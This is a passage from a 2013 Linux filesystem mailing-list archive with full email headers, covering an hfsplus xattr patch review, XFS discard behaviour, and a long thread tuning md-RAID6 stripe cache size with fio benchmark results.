(is_known_namespace(name)) > + return -EOPNOTSUPP; If common check in __hfsplus_setxattr() will be on the same place then this addition doesn't make sense. Thanks, Vyacheslav Dubeyko. > + > strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); > strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); >=20 > --=20 > 1.7.10.4 >=20 >=20 > -- > To unsubscribe from this list: send the line "unsubscribe = linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From lists@colorremedies.com Sat Dec 21 11:03:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E44A7F3F for ; Sat, 21 Dec 2013 11:03:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3FCFD8F8071 for ; Sat, 21 Dec 2013 09:03:52 -0800 (PST) X-ASG-Debug-ID: 1387645429-04bdf00fdf177590001-NocioJ Received: from slmp-550-94.slc.westdc.net (slmp-550-94.slc.westdc.net [50.115.112.57]) by cuda.sgi.com with ESMTP id vgbitqOFE53crlax (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Dec 2013 09:03:49 -0800 (PST) X-Barracuda-Envelope-From: lists@colorremedies.com X-Barracuda-Apparent-Source-IP: 50.115.112.57 Received: from c-50-183-15-223.hsd1.co.comcast.net ([50.183.15.223]:62731 helo=ming.hsd1.co.comcast.net) by slmp-550-94.slc.westdc.net with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1VuPxt-001CeF-A1 for xfs@oss.sgi.com; Sat, 21 Dec 2013 10:03:49 -0700 Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) From: Chris Murphy X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) X-Priority: 3 In-Reply-To: <31B8E1DCCA4F45918621D6461ED19B19@alyakaslap> Date: Sat, 21 Dec 2013 10:03:47 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <8AB55F90-13DA-498D-B5AF-FB1DF76B9010@colorremedies.com> References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <31B8E1DCCA4F45918621D6461ED19B19@alyakaslap> To: "xfs@oss.sgi.com" X-Mailer: Apple Mail (2.1510) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - slmp-550-94.slc.westdc.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - colorremedies.com X-Get-Message-Sender-Via: slmp-550-94.slc.westdc.net: authenticated_id: whatever@colorremedies.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: slmp-550-94.slc.westdc.net[50.115.112.57] X-Barracuda-Start-Time: 1387645429 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Dec 19, 2013, at 12:24 PM, Alex Lyakas = wrote: > Hi Dave, > It makes sense. I agree it might break some guarantees. Although if = the user deleted some blocks in the file or the whole file, maybe it's = ok to not have a clear promise what he sees after the crash.=20 User perspective: I disagree. Sounds like a possible zombie file = invasion, with no clear way of reversion. The file either needs to be = gone, as in not accessible in user space, or it needs to be present and = intact. There isn't a reasonable expectation for a file to be = resurrected from the dead that's also corrupted. If the file name isn't also corrupted, the problem is worse. It looks = like a legitimate file, yet it's useless. The zombie files will be = subject to backup and restore, just like their valid predecessors. All I = need is to stumble upon a handful of these files, which I won't = necessarily remember were deleted files, to start assuming I have some = sort of weird file system corruption, at which point at best I'll become = really confused not knowing what to do next. At worse, I may start = throwing hammers that end up causing worse problems. Chris Murphy= From stan@hardwarefreak.com Sat Dec 21 19:41:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88BF07F4E for ; Sat, 21 Dec 2013 19:41:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5F9058F8039 for ; Sat, 21 Dec 2013 17:41:45 -0800 (PST) X-ASG-Debug-ID: 1387676501-04bdf00fdf180800001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id dLPqulljWX5k39Ze for ; Sat, 21 Dec 2013 17:41:41 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id CD7016C0AD; Sat, 21 Dec 2013 19:41:40 -0600 (CST) Message-ID: <52B64351.4040806@hardwarefreak.com> Date: Sat, 21 Dec 2013 19:41:37 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= CC: linux-raid@vger.kernel.org, "xfs@oss.sgi.com" Subject: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint References: <52B102FF.8040404@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <201312202343.47895.arekm@maven.pl> <52B57912.5080000@hardwarefreak.com> X-ASG-Orig-Subj: Re: md-RAID5/6 stripe_cache_size default value vs performance vs memory footprint In-Reply-To: <52B57912.5080000@hardwarefreak.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387676501 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/21/2013 5:18 AM, Stan Hoeppner wrote: ... > For example, I assisted a user with 5x Intel SSDs back in January and > his system required 4096, or 80MB of RAM for stripe cache, to reach > maximum write throughput of the devices. This yielded 600MB/s or 60% > greater throughput than 2048, or 40MB RAM for cache. In his case 60MB > more RAM than the default was well worth the increase as the machine was > an iSCSI target server with 8GB RAM. Correction here. I said above that 80MB was 60MB greater than the default for his 5 drives. This should have said 75MB greater than the default which is 1MB per member device, or 5MB for 5 drives. -- Stan From xfs@pzystorm.de Sat Dec 21 20:38:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B1D3E7F51 for ; Sat, 21 Dec 2013 20:38:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B4118F8033 for ; Sat, 21 Dec 2013 18:38:30 -0800 (PST) X-ASG-Debug-ID: 1387679905-04bdf00fe2181be0001-NocioJ Received: from mail.pzystorm.de (mail.pzystorm.de [147.172.2.110]) by cuda.sgi.com with ESMTP id cAd9Dd5kwWUUG98z (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 21 Dec 2013 18:38:27 -0800 (PST) X-Barracuda-Envelope-From: xfs@pzystorm.de X-Barracuda-Apparent-Source-IP: 147.172.2.110 Received: from 77-22-27-29-dynip.superkabel.de ([77.22.27.29] helo=[192.168.178.40]) by mail.pzystorm.de with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32) (Exim 4.76) (envelope-from ) id 1VuYvw-0005Bn-12; Sun, 22 Dec 2013 03:38:24 +0100 Message-ID: <52B6500D.3050800@pzystorm.de> Date: Sun, 22 Dec 2013 03:35:57 +0100 From: Kevin Richter Reply-To: xfs@pzystorm.de MIME-Version: 1.0 To: stan@hardwarefreak.com, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B439D1.3020205@hardwarefreak.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail.pzystorm.de[147.172.2.110] X-Barracuda-Start-Time: 1387679907 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Okay, well, I've run your fio config... but with so many results and abbrevations I currently feel a bit overchallenged :) So, please dont take badly, if I just paste the whole results. I have tried with a stripe cache size of 1024, 2048 and 4096. Btw, I also have /dev/md1, this is a 15GB unencrypted array using the same 5 disks like my LUKS-md2 array, so nearly the same just without this LUKS layer. If helpful, I can execute some fio tests on this filesystem, too. So long :) Kevin $ echo 1024 > /sys/block/md2/md/stripe_cache_size > Jobs: 1 (f=1): [____________W___] [99.7% done] [0K/99.24M /s] [0 /193 iops] [eta 00m:06s] > read: (groupid=0, jobs=8): err= 0: pid=12987 > read : io=81920MB, bw=189835KB/s, iops=370 , runt=441890msec > slat (usec): min=32 , max=4561 , avg=76.28, stdev=28.66 > clat (msec): min=5 , max=1115 , avg=334.19, stdev=151.18 > lat (msec): min=5 , max=1115 , avg=334.26, stdev=151.18 > bw (KB/s) : min= 0, max=261120, per=12.79%, avg=24288.95, stdev=11586.29 > cpu : usr=0.05%, sys=0.50%, ctx=157180, majf=0, minf=16982 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=163840/0/0, short=0/0/0 > > lat (msec): 10=0.52%, 20=0.71%, 50=3.01%, 100=6.17%, 250=14.59% > lat (msec): 500=68.81%, 750=4.87%, 1000=1.08%, 2000=0.25% > write: (groupid=1, jobs=8): err= 0: pid=13202 > write: io=81920MB, bw=58504KB/s, iops=114 , runt=1433851msec > slat (usec): min=45 , max=1729 , avg=212.20, stdev=56.68 > clat (msec): min=14 , max=11691 , avg=1101.17, stdev=1116.82 > lat (msec): min=14 , max=11691 , avg=1101.39, stdev=1116.82 > bw (KB/s) : min= 0, max=106666, per=14.35%, avg=8395.94, stdev=6752.35 > cpu : usr=0.28%, sys=0.10%, ctx=117451, majf=0, minf=3410 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/163840/0, short=0/0/0 > > lat (msec): 20=0.01%, 50=0.17%, 100=2.03%, 250=17.02%, 500=22.20% > lat (msec): 750=12.22%, 1000=8.66%, 2000=20.04%, >=2000=17.64% > > Run status group 0 (all jobs): > READ: io=81920MB, aggrb=189834KB/s, minb=194390KB/s, maxb=194390KB/s, mint=441890msec, maxt=441890msec > > Run status group 1 (all jobs): > WRITE: io=81920MB, aggrb=58504KB/s, minb=59908KB/s, maxb=59908KB/s, mint=1433851msec, maxt=1433851msec > > Disk stats (read/write): > dm-0: ios=327681/327756, merge=0/0, ticks=78591352/353235376, in_queue=431834680, util=100.00%, aggrios=327681/327922, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% > md2: ios=327681/327922, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=171660/222845, aggrmerge=4561629/9494657, aggrticks=16341417/4008187, aggrin_queue=20351472, aggrutil=85.78% > sdc: ios=181512/222455, merge=4583055/9505634, ticks=15650600/5944080, in_queue=21596560, util=85.78% > sdd: ios=180545/224362, merge=4526197/9587956, ticks=14356708/5542120, in_queue=19900820, util=85.42% > sde: ios=179853/224317, merge=4519718/9540999, ticks=13375156/5676828, in_queue=19053876, util=83.90% > sdf: ios=157605/222569, merge=4551205/9459549, ticks=18828608/1234632, in_queue=20065204, util=75.36% > sdg: ios=158787/220525, merge=4627970/9379150, ticks=19496016/1643276, in_queue=21140904, util=77.26% $ echo 2048 > /sys/block/md2/md/stripe_cache_size > Jobs: 1 (f=1): [_________W______] [99.6% done] [0K/92182K /s] [0 /175 iops] [eta 00m:06s] > read: (groupid=0, jobs=8): err= 0: pid=6392 > read : io=81920MB, bw=185893KB/s, iops=363 , runt=451259msec > slat (usec): min=32 , max=524 , avg=75.08, stdev=26.00 > clat (msec): min=8 , max=1849 , avg=335.65, stdev=149.76 > lat (msec): min=8 , max=1849 , avg=335.72, stdev=149.76 > bw (KB/s) : min= 0, max=105860, per=13.08%, avg=24308.99, stdev=7467.64 > cpu : usr=0.05%, sys=0.49%, ctx=157968, majf=0, minf=17171 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=163840/0/0, short=0/0/0 > > lat (msec): 10=0.01%, 20=0.06%, 50=2.32%, 100=7.44%, 250=15.36% > lat (msec): 500=69.09%, 750=4.50%, 1000=0.87%, 2000=0.35% > write: (groupid=1, jobs=8): err= 0: pid=6663 > write: io=81920MB, bw=75377KB/s, iops=147 , runt=1112887msec > slat (usec): min=46 , max=6453.8K, avg=988.13, stdev=46664.22 > clat (msec): min=10 , max=8631 , avg=854.18, stdev=683.37 > lat (msec): min=10 , max=8631 , avg=855.17, stdev=684.82 > bw (KB/s) : min= 0, max=100352, per=14.04%, avg=10581.97, stdev=6871.80 > cpu : usr=0.34%, sys=0.11%, ctx=92502, majf=0, minf=1531 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/163840/0, short=0/0/0 > > lat (msec): 20=0.01%, 50=0.09%, 100=1.14%, 250=11.19%, 500=24.64% > lat (msec): 750=18.78%, 1000=13.40%, 2000=24.53%, >=2000=6.23% > > Run status group 0 (all jobs): > READ: io=81920MB, aggrb=185893KB/s, minb=190354KB/s, maxb=190354KB/s, mint=451259msec, maxt=451259msec > > Run status group 1 (all jobs): > WRITE: io=81920MB, aggrb=75376KB/s, minb=77186KB/s, maxb=77186KB/s, mint=1112887msec, maxt=1112887msec > > Disk stats (read/write): > dm-0: ios=327701/328169, merge=0/0, ticks=79402348/261890568, in_queue=341301888, util=100.00%, aggrios=327701/328481, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% > md2: ios=327701/328481, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=127112/146994, aggrmerge=3364061/7997232, aggrticks=18091347/5817941, aggrin_queue=23914356, aggrutil=94.20% > sdc: ios=135729/149357, merge=3341205/8134447, ticks=18312932/8398716, in_queue=26721324, util=92.77% > sdd: ios=135561/151584, merge=3312121/8238249, ticks=16877204/8190968, in_queue=25077332, util=92.44% > sde: ios=135741/146023, merge=3345948/7981968, ticks=17659792/8659780, in_queue=26322124, util=94.20% > sdf: ios=114396/143768, merge=3413295/7801050, ticks=18551976/1652924, in_queue=20207384, util=72.89% > sdg: ios=114134/144241, merge=3407738/7830447, ticks=19054832/2187320, in_queue=21243620, util=74.96% $ echo 4096 > /sys/block/md2/md/stripe_cache_size > Jobs: 1 (f=1): [________W_______] [100.0% done] [0K/95848K /s] [0 /182 iops] [eta 00m:00s] > read: (groupid=0, jobs=8): err= 0: pid=11787 > read : io=81920MB, bw=189274KB/s, iops=369 , runt=443200msec > slat (usec): min=31 , max=4511 , avg=75.47, stdev=29.74 > clat (msec): min=5 , max=1338 , avg=336.39, stdev=155.14 > lat (msec): min=5 , max=1338 , avg=336.47, stdev=155.14 > bw (KB/s) : min= 0, max=253455, per=12.77%, avg=24162.01, stdev=11368.71 > cpu : usr=0.05%, sys=0.49%, ctx=157193, majf=0, minf=17313 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=163840/0/0, short=0/0/0 > > lat (msec): 10=0.47%, 20=0.66%, 50=2.95%, 100=6.33%, 250=14.56% > lat (msec): 500=68.12%, 750=5.42%, 1000=1.15%, 2000=0.33% > write: (groupid=1, jobs=8): err= 0: pid=12060 > write: io=81920MB, bw=64993KB/s, iops=126 , runt=1290687msec > slat (usec): min=61 , max=16991 , avg=197.22, stdev=110.87 > clat (msec): min=14 , max=2820 , avg=980.92, stdev=366.56 > lat (msec): min=14 , max=2821 , avg=981.12, stdev=366.56 > bw (KB/s) : min= 0, max=103770, per=13.11%, avg=8517.92, stdev=3794.28 > cpu : usr=0.28%, sys=0.08%, ctx=84352, majf=0, minf=723 > IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/163840/0, short=0/0/0 > > lat (msec): 20=0.01%, 50=0.03%, 100=0.28%, 250=0.22%, 500=5.37% > lat (msec): 750=22.02%, 1000=31.66%, 2000=39.27%, >=2000=1.16% > > Run status group 0 (all jobs): > READ: io=81920MB, aggrb=189273KB/s, minb=193816KB/s, maxb=193816KB/s, mint=443200msec, maxt=443200msec > > Run status group 1 (all jobs): > WRITE: io=81920MB, aggrb=64993KB/s, minb=66553KB/s, maxb=66553KB/s, mint=1290687msec, maxt=1290687msec > > Disk stats (read/write): > dm-0: ios=327681/327629, merge=0/0, ticks=78990724/301988444, in_queue=380991692, util=100.00%, aggrios=327681/327709, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% > md2: ios=327681/327709, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=120158/119573, aggrmerge=2858405/7663126, aggrticks=17291831/9119008, aggrin_queue=26414023, aggrutil=99.60% > sdc: ios=135579/119976, merge=2813832/7324879, ticks=13974928/2192484, in_queue=16167996, util=66.57% > sdd: ios=136115/127048, merge=2826584/7736191, ticks=12932248/2477796, in_queue=15410924, util=68.08% > sde: ios=136007/130908, merge=2844473/7936354, ticks=12642232/3141268, in_queue=15784336, util=71.86% > sdf: ios=78473/94458, merge=2882361/7865984, ticks=29053772/37421808, in_queue=66488856, util=99.60% > sdg: ios=114620/125479, merge=2924777/7452224, ticks=17855976/361684, in_queue=18218004, util=54.84% Am 20.12.2013 13:36, schrieb Stan Hoeppner: > On 12/20/2013 4:26 AM, Kevin Richter wrote: >> Thanks a lot for your huge replies! > > You're welcome. > >>> Oh, that's quite old. I'd suggest upgrading to a much more recent >>> kernel as we've fixed lots of issues in this area since then. >> >> First I have switched to the newer kernel from Ubuntu Saucy: >> $ uname -a >> Linux 3.11.0-14-generic #21~precise1-Ubuntu SMP >> >> Thus, it seems that the default scheduler has been changed to deadline. >> I did not change anything. After a reboot the schedulers of all disks >> are now deadline. > > Good move Ubuntu. > >>> Model # of the CPUs so I can look up the specs? >> Intel(R) Xeon(R) CPU E5-2609 0 @ 2.40GHz > > Strong CPUs. > >> I have prepared a folder with 60GB for the tests. This is nearly twice >> of the available memory, so the process should be forced to actually >> write the stuff to the disk - and not only hold in the memory. >> >>> $ echo 256 > /sys/block/md2/md/stripe_cache_size >>> $ time cp -a /olddisk/testfolder /6tb/foo1/ >>> real 25m38.925s >>> user 0m0.595s >>> sys 1m23.182s >>> >>> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >>> $ time cp -a /olddisk/testfolder /raid/foo2/ >>> real 7m32.824s >>> user 0m0.438s >>> sys 1m6.759s >>> >>> $ echo 2048 > /sys/block/md2/md/stripe_cache_size >>> $ time cp -a /olddisk/testfolder /raid/foo3/ >>> real 5m32.847s >>> user 0m0.418s >>> sys 1m5.671s >>> >>> $ echo 4096 > /sys/block/md2/md/stripe_cache_size >>> $ time cp -a /olddisk/testfolder /raid/foo4/ >>> real 5m54.554s >>> user 0m0.437s >>> sys 1m6.268s >> >> The difference is really amazing! So 2048 seems to be the best choice. >> 60GB in 5,5minutes are 180MB/sek. That sounds a bit high, doesnt it? >> The RAID only consist of 5 SATA disks with 7200rpm. > > A lot of the source data is being cached between runs so these numbers > aren't accurate. The throughput of this copy operation will be limited > by the speed of the single source disk, not the array. To make the > elapsed times of this copy test accurate you need to execute something > like these commands after each run: > > # sync > # echo 3 > /proc/sys/vm/drop_caches > > But this copy test will not inform you about the potential peak > performance of your array. That's why I suggested you test with FIO, > the flexible IO tester. > > # aptitude install fio > # man fio > > Sample job file suitable for your system: > > [global] > directory=/your/XFS/test/directory > zero_buffers > numjobs=8 > group_reporting > blocksize=512k > ioengine=libaio > iodepth=16 > direct=1 > size=10g > > [read] > rw=read > stonewall > > [write] > rw=write > stonewall > > This should give you a relatively accurate picture of the actual > potential throughput of your array and filesystem. > >> 'top' while copying with stripe size of 2048 (the source disk is ntfs): >>> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 >>> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie >>> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st >>> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers >>> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached >>> >>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >>> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 >>> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 >>> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 >>> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 >>> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs >>> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 >>> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp >>> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 >>> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 >>> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 >>> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 > > Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a > SandyBridge core at only ~180 MB/s throughput is it? > >> And the best thing at all: >> While all of these tests there are no warnings/panics in the syslog. >> >> With best regards, >> Kevin > > Even though XFS wasn't the cause of the problem I'm glad we were able to > help you fix it nonetheless. I'm really curious to see what kind of > throughput you can achieve with FIO, and whether crypto is a bottleneck > at the 250-350 MB/s your array should be capable of. It would be great > if you would play around a bit with FIO and post some numbers. > From stan@hardwarefreak.com Sun Dec 22 02:12:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D77EF7F53 for ; Sun, 22 Dec 2013 02:12:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 85683AC001 for ; Sun, 22 Dec 2013 00:12:42 -0800 (PST) X-ASG-Debug-ID: 1387699960-04bdf00fdf189b70001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id cerHRqNVIcG3QtNF for ; Sun, 22 Dec 2013 00:12:41 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 88DB56C0AD; Sun, 22 Dec 2013 02:12:40 -0600 (CST) Message-ID: <52B69EF5.2060903@hardwarefreak.com> Date: Sun, 22 Dec 2013 02:12:37 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <52B6500D.3050800@pzystorm.de> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B6500D.3050800@pzystorm.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387699961 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/21/2013 8:35 PM, Kevin Richter wrote: > Okay, well, I've run your fio config... but with so many results and I'm glad you changed to size=1G instead of size=10G lest the test would have read/written 80GB instead of 8GB, and taken forever. I often forget the size parameter is per job (thread) not global. > abbrevations I currently feel a bit overchallenged :) > So, please dont take badly, if I just paste the whole results. > I have tried with a stripe cache size of 1024, 2048 and 4096. The full output is good. Going from 1024 to 2048 gained you ~17MB/s throughput with this job file. But you didn't run with the default 256 for comparison, which is very useful to know. That's ok, as you can do so with the next set of test runs. Given the huge latencies I'm thinking this config may be seeking the disks too much. Modify your fio job file as follows: numjobs=4 blocksize=1536k iodepth=4 size=1g as this may yield a little better results. ~190MB/s read and 75MB/s write is very low for three effective 7.2K RPM SATA spindles, especially the write throughput. Compare to a similar FIO job with 2 threads, iodepth 16, directio, run against a single 500GB 7.2K WD SATA drive, NQC disabled, w/deadline elevator: Run status group 0 (all jobs): READ: io=2048MB, aggrb=88663KB/s, minb=90791KB/s, maxb=90791KB/s Run status group 1 (all jobs): WRITE: io=2048MB, aggrb=108089KB/s, minb=110683KB/s, maxb=110683KB/s 88MB/s read, 108MB/s write. Write is faster apparently due to the small 16MB 